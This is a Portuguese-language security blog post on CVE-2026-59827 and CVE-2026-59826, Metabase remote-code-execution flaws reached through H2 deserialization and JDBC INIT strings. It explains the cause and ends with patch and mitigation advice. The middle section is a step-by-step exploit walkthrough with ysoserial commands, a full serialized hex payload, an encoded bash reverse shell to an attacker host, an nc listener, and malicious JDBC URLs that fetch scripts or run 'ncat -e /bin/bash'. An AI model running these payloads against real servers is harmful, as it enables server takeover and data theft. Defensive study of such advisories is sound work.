
Blog sobre CVE-2026-59827, desserialização insegura da saída de consulta H2
GHSA-w95f-x9v9-wv36 | CVSS 9.9 Crítico | CWE-502: Desserialização de Dados Não Confiáveis
O CVE-2026-59827 é uma vulnerabilidade crítica de execução remota de código no Metabase, a popular plataforma de business intelligence e análise de dados de código aberto. A falha decorre de como o Metabase lida com os resultados de consulta retornados por uma conexão de banco de dados H2. Quando uma consulta SQL nativa contra uma fonte H2 retorna uma coluna tipada como OTHER, o Metabase desserializa os bytes brutos dessa coluna em um objeto Java sem realizar qualquer validação. Um usuário autenticado que pode executar consultas nativas é, portanto, capaz de introduzir um payload serializado malicioso no conjunto de resultados e acionar a execução arbitrária de código no servidor que hospeda o Metabase.
A vulnerabilidade recebeu uma pontuação CVSS de 9.9, refletindo as pré-condições mínimas necessárias e a execução completa de código no servidor que resulta da exploração bem-sucedida.
O Metabase distribui duas edições paralelas do mesmo ciclo de lançamento. A edição de código aberto usa números de versão prefixados com 0 — por exemplo, v0.61.1. A edição empresarial (comercial) usa números de versão prefixados com 1 — por exemplo, v1.61.1. Ambas as edições compartilham a mesma base de código subjacente e são lançadas juntas, portanto, uma vulnerabilidade que afeta v1.61.0 afeta igualmente v0.61.0. Ao longo deste artigo, os números de versão são escritos usando o prefixo empresarial 1.xx, mas cada versão afetada corresponde diretamente à sua contraparte de código aberto 0.xx substituindo o 1 inicial por 0.
Tanto o CVE-2026-59826 quanto o CVE-2026-59827 foram divulgados juntos em julho de 2026. Eles compartilham faixas de versão sobrepostas, mas possuem pontos de correção diferentes.
As versões empresariais vulneráveis são 1.58.0 a 1.58.14, 1.59.0 a 1.59.11, 1.60.0 a 1.60.6.2 e 1.61.0 a 1.61.1.3. As versões de código aberto correspondentes são 0.58.0 a 0.58.14, 0.59.0 a 0.59.11, 0.60.0 a 0.60.6.2 e 0.61.0 a 0.61.1.3.
Uma correção interna foi emitida inicialmente como 1.61.1.4 (empresarial) e 0.61.1.4 (código aberto). A primeira versão corrigida publicamente disponível na linha 1.61 é a 1.61.2 (v1.61.2.x / v0.61.2.x). As instâncias do Metabase Cloud foram corrigidas automaticamente pelo provedor.
As versões empresariais vulneráveis são 1.55.0 a 1.58.15.0, 1.59.0 a 1.59.11, 1.60.0 a 1.60.6.2 e 1.61.0 a toda a linha 1.61.1.x. A primeira versão pública totalmente corrigida é a 1.61.2 (v1.61.2.x / v0.61.2.x). O escopo do CVE-2026-59826 é mais amplo, alcançando a linha de versão 1.55, refletindo a presença mais antiga do caminho de código de criação de banco de dados insuficientemente validado que ele explora.
O mecanismo de serialização do Java permite que um objeto na memória seja convertido em um fluxo plano de bytes, armazenado ou transmitido, e depois reconstruído chamando ObjectInputStream.readObject(). A propriedade crítica desse mecanismo é que a reconstrução executa código. Construtores de classe, sobrescritas de readObject e finalizadores são executados durante a desserialização. Se os bytes sendo lidos vêm de uma fonte não confiável, um atacante pode manipulá-los para acionar chamadas de método arbitrárias através de uma sequência de classes existentes e legítimas já carregadas na JVM. Essas sequências são conhecidas como cadeias de gadgets (gadget chains).
As cadeias de gadgets não exigem a introdução de nenhum novo código na aplicação. Elas exploram a fiação de classes de bibliotecas existentes cujos métodos normais, quando chamados na ordem correta durante a desserialização, eventualmente alcançam um destino como Runtime.exec(). Ferramentas como ysoserial existem especificamente para gerar esses payloads para bibliotecas amplamente implantadas, como Apache Commons Collections, Spring Framework e outras.
O H2 é um banco de dados relacional embutido puro Java. Ele define um tipo de coluna SQL especial chamado OTHER que atua como um bypass para objetos Java arbitrários. Quando o H2 armazena um valor em uma coluna OTHER, ele escreve os bytes produzidos por ObjectOutputStream do Java. Quando lê o valor de volta, ele chama ObjectInputStream.readObject() para reconstruir o objeto. Os bytes serializados brutos também podem ser fornecidos diretamente em uma consulta usando a sintaxe literal hexadecimal do H2:
SELECT CAST(X'ACED0005...' AS OTHER);
-- or
SELECT X'ACED0005...'::OTHER;
O prefixo ACED seguido de 0005 é o número mágico e a versão do protocolo do fluxo de serialização Java. Qualquer string hexadecimal começando com ACED0005 é um fluxo de objeto serializado Java.
Quando o H2 processa essa consulta, ele desserializa os bytes hexadecimais do lado do banco de dados. O objeto resultante é então passado de volta para a aplicação chamadora através do ResultSet JDBC. Se a aplicação inspeciona o valor da coluna — por exemplo, para formatá-lo para exibição — ela pode acionar processamento adicional. Isso é exatamente o que o Metabase faz no caminho de código vulnerável.
O Metabase recebe o ResultSet JDBC do driver H2 e inspeciona os metadados da coluna para decidir como renderizar cada valor para o usuário. Quando encontra uma coluna com o tipo JDBC Types.OTHER (também relatado como JAVA_OBJECT), as versões vulneráveis do Metabase tentam desserializar os bytes brutos para produzir uma representação exibível. Esta chamada de desserialização, ObjectInputStream.readObject(), executa sem qualquer filtragem de lista branca ou validação de classe.
A sequência de eventos é:
OTHER contendo um payload serializado elaborado.JAVA_OBJECT no ResultSet.OTHER e chama readObject() nos bytes.Runtime.exec() e executando o comando do atacante como o usuário do sistema operacional que executa o processo do Metabase.As versões corrigidas resolvem o problema inspecionando os metadados do resultado JDBC antes de tentar qualquer desserialização. Se uma coluna for tipada como JAVA_OBJECT, o Metabase agora a rejeita imediatamente, em vez de tentar analisá-la.
A exploração requer autenticação. O atacante deve possuir uma conta no Metabase com permissão de execução de consultas nativas em um banco de dados com backend H2. Contas de administrador satisfazem isso por padrão. Contas de usuário regular também podem satisfazer esse requisito se um administrador lhes concedeu a permissão de dados de consultas nativas para o banco de dados relevante.
O Metabase removeu o suporte para adicionar H2 como uma nova conexão de data warehouse na versão 0.46.6.4, lançada em 2023. Tentar registrar uma nova conexão H2 através da interface de administrador retorna o erro "H2 não é suportado como data warehouse." Essa remoção foi uma resposta a vulnerabilidades anteriores relacionadas ao H2 e foi destinada a eliminar o risco de conectar a instâncias H2 controladas por atacantes.
No entanto, a remoção do H2 da interface de conexão de data warehouse não é o mesmo que a remoção do H2 do Metabase. Dois bancos de dados H2 permanecem presentes em toda instalação padrão do Metabase.
O primeiro é o banco de dados da aplicação. Quando o Metabase não está configurado para usar um banco de dados externo como PostgreSQL ou MySQL, ele armazena seus próprios metadados — perguntas, dashboards, contas de usuário e configurações — em um arquivo H2 em /metabase-data/metabase.db.mv.db. Este banco de dados não pode ser consultado diretamente através da interface do Metabase.
O segundo, e mais diretamente explorável, é o banco de dados de amostra. Durante a configuração inicial, o Metabase cria um banco de dados H2 pré-povoado com dados de exemplo e o disponibiliza como a conexão "Banco de Dados de Amostra". Esta conexão está presente por padrão em toda instância do Metabase e é a principal superfície de ataque para o CVE-2026-59827. É uma conexão H2 ativa na qual os usuários podem executar consultas SQL nativas, e a string de conexão visível no painel de administração aponta para file:/plugins/sample-database.db.
O banco de dados de amostra impõe acesso somente leitura para todos os usuários, incluindo administradores. A página de configurações de banco de dados do Metabase em http://localhost:3000/admin/databases permite conceder acesso de escrita em bancos de dados conectados, mas a opção não está disponível para o banco de dados de amostra. Isso significa que instruções de Linguagem de Manipulação de Dados (DML) como CREATE, UPDATE e DELETE não podem ser executadas contra o banco de dados de amostra por meios normais.
Essa restrição é importante porque fecha certos caminhos de ataque alternativos. Por exemplo, o motor H2 suporta uma instrução CREATE ALIAS que pode definir uma função Java e chamá-la:
CREATE ALIAS REVEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
} $$;
Como o acesso de escrita está bloqueado no banco de dados de amostra, esse caminho DDL não está disponível. O caminho de desserialização através de SELECT CAST(X'...' AS OTHER) é o vetor de exploração viável precisamente porque requer apenas uma instrução SELECT, que é permitida para todos os usuários.
Para testar esta vulnerabilidade em um ambiente de laboratório controlado, execute uma versão do Metabase dentro da faixa afetada:
docker run -d -p 3000:3000 \
--name metabase-vulnerable \
-v metabase-data:/metabase-data \
metabase/metabase:v0.61.1
O Metabase será inicializado em http://localhost:3000, criará seu banco de dados de aplicação H2 em /metabase-data/metabase.db.mv.db e provisionará automaticamente o banco de dados de amostra. Complete a configuração inicial da conta para obter uma sessão autenticada. Após a configuração, navegue até o editor SQL para o Banco de Dados de Amostra. Este é o ambiente de execução para o exploit.
Antes de tentar a execução de comandos, confirme que o caminho de desserialização está acessível. A cadeia de gadgets URLDNS do ysoserial gera um payload que, quando desserializado, faz uma consulta DNS de saída para um hostname especificado. Ela não executa nenhum comando do sistema, tornando-se uma sonda segura para estabelecer que readObject() está realmente sendo chamado.
Gere o payload:
/usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar ysoserial-all.jar URLDNS 'http://your-oast-hostname.oast.fun' | xxd -p | tr -d '\n'
Isso produz uma string hexadecimal começando com aced0005. Um exemplo da saída hexadecimal de um payload capturado:
aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002a6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e74000071007e0005740004687474707078740031687474703a2f2f6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e78
Abra o editor SQL no Metabase contra o Banco de Dados de Amostra e execute o seguinte, substituindo a string hexadecimal gerada pelo seu hostname OAST:
SELECT X'aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002a6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e74000071007e0005740004687474707078740031687474703a2f2f6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e78'::OTHER;
Monitore seu ouvinte OAST. Receber uma consulta DNS do endereço IP do servidor Metabase confirma que readObject() foi chamado e a desserialização está ocorrendo na coluna OTHER.
Qual cadeia de gadgets alcança a execução de código depende de quais bibliotecas Java estão presentes no classpath do servidor Metabase. Tente as seguintes cadeias em sequência:
java -jar ysoserial-all.jar CommonsCollections1 'id' > payload.bin
java -jar ysoserial-all.jar CommonsCollections2 'id' > payload.bin
java -jar ysoserial-all.jar CommonsCollections3 'id' > payload.bin
java -jar ysoserial-all.jar Clojure 'id' > payload.bin
Converta cada payload binário para o formato hexadecimal exigido pela consulta SQL:
xxd -p payload.bin | tr -d '\n' > payload.hex
Em seguida, submeta usando o mesmo padrão SELECT X'...'::OTHER no editor SQL do Metabase e observe se a saída do comando é refletida em alguma mensagem de erro ou resposta.
Uma vez identificada uma cadeia de gadgets funcional, substitua o comando de teste pelo payload desejado. Para um shell reverso, codifique o comando em base64 para evitar problemas de citação no shell:
echo 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1' | base64
Gere o payload ysoserial com o padrão de execução decodificado em base64:
java -jar ysoserial-all.jar CommonsCollections1 \
'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci1pcC80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}' \
> payload.bin
xxd -p payload.bin | tr -d '\n' > payload.hex
Configure o ouvinte antes de submeter a consulta:
nc -lvnp 4444
Em seguida, cole o hexadecimal no editor SQL:
SELECT X'<cole a string hexadecimal aqui>'::OTHER;
Quando o Metabase processar o conjunto de resultados e encontrar a coluna OTHER, readObject() será acionado, a cadeia de gadgets será executada e o shell reverso se conectará de volta.
Se InvalidClassException for levantada, a cadeia de gadgets depende de uma versão de biblioteca que não corresponde à presente no servidor. Tente uma cadeia diferente.
Se nada acontecer após submeter a consulta, ou a instância já está corrigida, os filtros de serialização JEP 290 estão ativos e bloqueando a cadeia de gadgets, ou o tipo de coluna OTHER não está sendo processado pelo caminho de código vulnerável.
Se ClassNotFoundException ocorrer, a biblioteca necessária está ausente do classpath completamente. Tente uma cadeia diferente.
Na saída da interface do usuário, você receberá apenas o erro "Estamos enfrentando um problema no servidor" (We're experiencing server issue):
O CVE-2026-59826 (GHSA-r6x2-rchx-q9g9) é uma vulnerabilidade relacionada divulgada ao mesmo tempo. Enquanto o CVE-2026-59827 explora a desserialização através de resultados de consulta, o CVE-2026-59826 ataca um caminho de código separado: o endpoint de registro de banco de dados. Um administrador autenticado pode submeter uma URL de conexão JDBC H2 elaborada contendo um parâmetro INIT que é executado quando a conexão é estabelecida. Como a validação aplicada ao campo INIT era insuficiente em certos caminhos de código de criação e edição de banco de dados, um atacante com acesso de administrador pode alcançar RCE através da string de conexão, em vez de através de uma consulta.
Uma URL de conexão INIT maliciosa assume uma forma como:
jdbc:h2:mem:tempdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM "http://attacker-ip/rce.sql"
O arquivo SQL servido pelo atacante pode definir e chamar um alias Java que executa comandos shell:
CREATE ALIAS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(
Runtime.getRuntime().exec(command).getInputStream()
).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}
$$;
CALL SHELLEXEC('ncat -e /bin/bash attacker-ip 5555')
Alternativamente, a string INIT pode embutir o gatilho diretamente sem buscar um arquivo remoto:
jdbc:h2:file:/tmp/tempdb;TRACE_LEVEL_SYSTEM_OUT=0\;
CREATE TRIGGER rce_trigger BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS
$$
java.lang.Runtime.getRuntime().exec('bash -c {echo,<base64_payload>}|{base64,-d}|{bash,-i}')
$$--=x
Tanto o CVE-2026-59826 quanto o CVE-2026-59827 compartilham a mesma causa raiz — endurecimento insuficiente em torno dos recursos de execução do lado do servidor do H2 — mas diferem nos caminhos de código específicos explorados e no nível de privilégio necessário.
Atualize o Metabase para uma das seguintes versões corrigidas: 1.58.15, 1.59.12, 1.60.6.3 ou 1.61.1.4. Essas versões modificam o pipeline de processamento de resultados para inspecionar os metadados das colunas JDBC e recusam processar qualquer coluna relatada como tipo JAVA_OBJECT ou OTHER, prevenindo que a chamada de desserialização ocorra.
Se uma atualização imediata não for possível, restrinja as permissões de consultas nativas. Remova a permissão de execução de consultas nativas de todos os usuários não administrativos para bancos de dados com backend H2, incluindo o banco de dados de amostra. Isso reduz a superfície de ataque apenas para contas de nível de administrador. Separadamente, considere se o banco de dados de amostra é necessário; desabilitá-lo ou removê-lo elimina a superfície de ataque H2 para este CVE completamente.
Para instâncias auto-hospedadas que usam H2 como banco de dados da aplicação, a própria documentação do Metabase recomenda migrar para PostgreSQL ou MySQL como um backend de banco de dados de aplicação mais robusto e seguro.